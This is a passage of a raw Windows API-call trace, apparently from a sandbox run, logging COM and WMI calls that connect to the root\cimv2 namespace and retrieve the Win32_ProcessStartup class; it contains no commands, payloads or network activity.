rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x11f16c0) returned 0x0 [0070.265] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f16c0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0070.266] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f16c0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bea1970) returned 0x0 [0070.266] WbemDefPath:IUnknown:Release (This=0x11f16c0) returned 0x0 [0070.266] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1970, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bea1970) returned 0x0 [0070.266] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1970, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0070.266] WbemDefPath:IUnknown:AddRef (This=0x1bea1970) returned 0x3 [0070.266] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1970, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0070.266] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1970, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0070.266] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1970, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x11f1960) returned 0x0 [0070.266] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f1960, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0070.266] WbemDefPath:IUnknown:Release (This=0x11f1960) returned 0x3 [0070.266] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0070.266] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0070.266] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1970, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0070.266] WbemDefPath:IUnknown:Release (This=0x1bea1970) returned 0x2 [0070.266] WbemDefPath:IUnknown:Release (This=0x1bea1970) returned 0x1 [0070.266] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0070.266] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0070.266] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1970, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bea1970) returned 0x0 [0070.267] WbemDefPath:IUnknown:AddRef (This=0x1bea1970) returned 0x3 [0070.267] WbemDefPath:IUnknown:Release (This=0x1bea1970) returned 0x2 [0070.267] WbemDefPath:IWbemPath:SetText (This=0x1bea1970, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0070.267] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1970, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0070.267] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1970, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0070.267] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1970, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0070.267] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea1970, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0070.267] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1970, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0070.267] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea1970, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0070.267] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1970, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0070.267] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0070.267] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0070.267] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0070.267] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0070.267] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0070.267] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0070.267] IUnknown:Release (This=0x111f638) returned 0x1 [0070.269] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x11f18e0) returned 0x0 [0070.269] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f18e0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0070.269] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f18e0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x1bea18b0) returned 0x0 [0070.269] WbemDefPath:IUnknown:Release (This=0x11f18e0) returned 0x0 [0070.269] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea18b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x1bea18b0) returned 0x0 [0070.269] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea18b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0070.269] WbemDefPath:IUnknown:AddRef (This=0x1bea18b0) returned 0x3 [0070.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea18b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0070.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea18b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0070.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea18b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x11f1920) returned 0x0 [0070.270] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f1920, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0070.270] WbemDefPath:IUnknown:Release (This=0x11f1920) returned 0x3 [0070.270] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0070.270] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0070.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea18b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0070.270] WbemDefPath:IUnknown:Release (This=0x1bea18b0) returned 0x2 [0070.270] WbemDefPath:IUnknown:Release (This=0x1bea18b0) returned 0x1 [0070.270] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0070.270] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0070.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea18b0, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x1bea18b0) returned 0x0 [0070.270] WbemDefPath:IUnknown:AddRef (This=0x1bea18b0) returned 0x3 [0070.270] WbemDefPath:IUnknown:Release (This=0x1bea18b0) returned 0x2 [0070.270] WbemDefPath:IWbemPath:SetText (This=0x1bea18b0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0070.271] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea18b0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0070.271] WbemDefPath:IWbemPath:GetText (in: This=0x1bea18b0, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0070.271] WbemDefPath:IWbemPath:GetText (in: This=0x1bea18b0, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0070.271] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0070.271] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0070.271] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0070.271] IUnknown:Release (This=0x111f638) returned 0x1 [0070.272] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x11f16a0) returned 0x0 [0070.272] WbemLocator:IUnknown:QueryInterface (in: This=0x11f16a0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0070.272] WbemLocator:IClassFactory:CreateInstance (in: This=0x11f16a0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x11f1460) returned 0x0 [0070.272] WbemLocator:IUnknown:Release (This=0x11f16a0) returned 0x0 [0070.272] WbemLocator:IUnknown:QueryInterface (in: This=0x11f1460, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x11f1460) returned 0x0 [0070.272] WbemLocator:IUnknown:QueryInterface (in: This=0x11f1460, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0070.272] WbemLocator:IUnknown:AddRef (This=0x11f1460) returned 0x3 [0070.272] WbemLocator:IUnknown:QueryInterface (in: This=0x11f1460, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0070.272] WbemLocator:IUnknown:QueryInterface (in: This=0x11f1460, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0070.272] WbemLocator:IUnknown:QueryInterface (in: This=0x11f1460, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0070.272] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0070.272] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0070.272] WbemLocator:IUnknown:QueryInterface (in: This=0x11f1460, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0070.273] WbemLocator:IUnknown:Release (This=0x11f1460) returned 0x2 [0070.273] WbemLocator:IUnknown:Release (This=0x11f1460) returned 0x1 [0070.273] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0070.273] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0070.273] WbemLocator:IUnknown:QueryInterface (in: This=0x11f1460, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x11f1460) returned 0x0 [0070.273] WbemLocator:IUnknown:AddRef (This=0x11f1460) returned 0x3 [0070.273] WbemLocator:IUnknown:Release (This=0x11f1460) returned 0x2 [0070.273] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea18b0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0070.273] WbemDefPath:IWbemPath:GetText (in: This=0x1bea18b0, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0070.273] WbemDefPath:IWbemPath:GetText (in: This=0x1bea18b0, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0070.273] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x11f14c0) returned 0x0 [0070.273] WbemLocator:IWbemLocator:ConnectServer (in: This=0x11f14c0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1bf29be0) returned 0x0 [0070.577] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf29be0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x1bef2230) returned 0x0 [0070.577] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bef2230, pProxy=0x1bf29be0, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0070.578] WbemLocator:IUnknown:Release (This=0x1bef2230) returned 0x1 [0070.578] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf29be0, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x1bef2270) returned 0x0 [0070.578] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf29be0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bef2230) returned 0x0 [0070.578] WbemLocator:IClientSecurity:SetBlanket (This=0x1bef2230, pProxy=0x1bf29be0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0070.578] WbemLocator:IUnknown:Release (This=0x1bef2230) returned 0x2 [0070.578] WbemLocator:IUnknown:Release (This=0x1bef2270) returned 0x1 [0070.578] CoTaskMemFree (pv=0x11cd430) [0070.578] WbemLocator:IUnknown:AddRef (This=0x1bf29be0) returned 0x2 [0070.579] WbemLocator:IUnknown:Release (This=0x11f14c0) returned 0x0 [0070.580] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0070.580] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0070.580] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf29be0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x1bef2240) returned 0x0 [0070.580] WbemLocator:IRpcOptions:Query (in: This=0x1bef2240, pPrx=0x11f15a0, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0070.580] WbemLocator:IUnknown:Release (This=0x1bef2240) returned 0x2 [0070.580] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0070.580] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0070.580] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf29be0, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1bf29be0) returned 0x0 [0070.580] WbemLocator:IUnknown:Release (This=0x1bf29be0) returned 0x2 [0070.581] SysStringLen (param_1=0x0) returned 0x0 [0070.581] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1970, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0070.581] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1970, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0070.582] IWbemServices:GetObject (in: This=0x1bf29be0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x1bef6d00, ppCallResult=0x0) returned 0x0 [0070.585] IWbemClassObject:Get (in: This=0x1bef6d00, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0070.585] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0070.585] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0070.585] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0070.586] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: 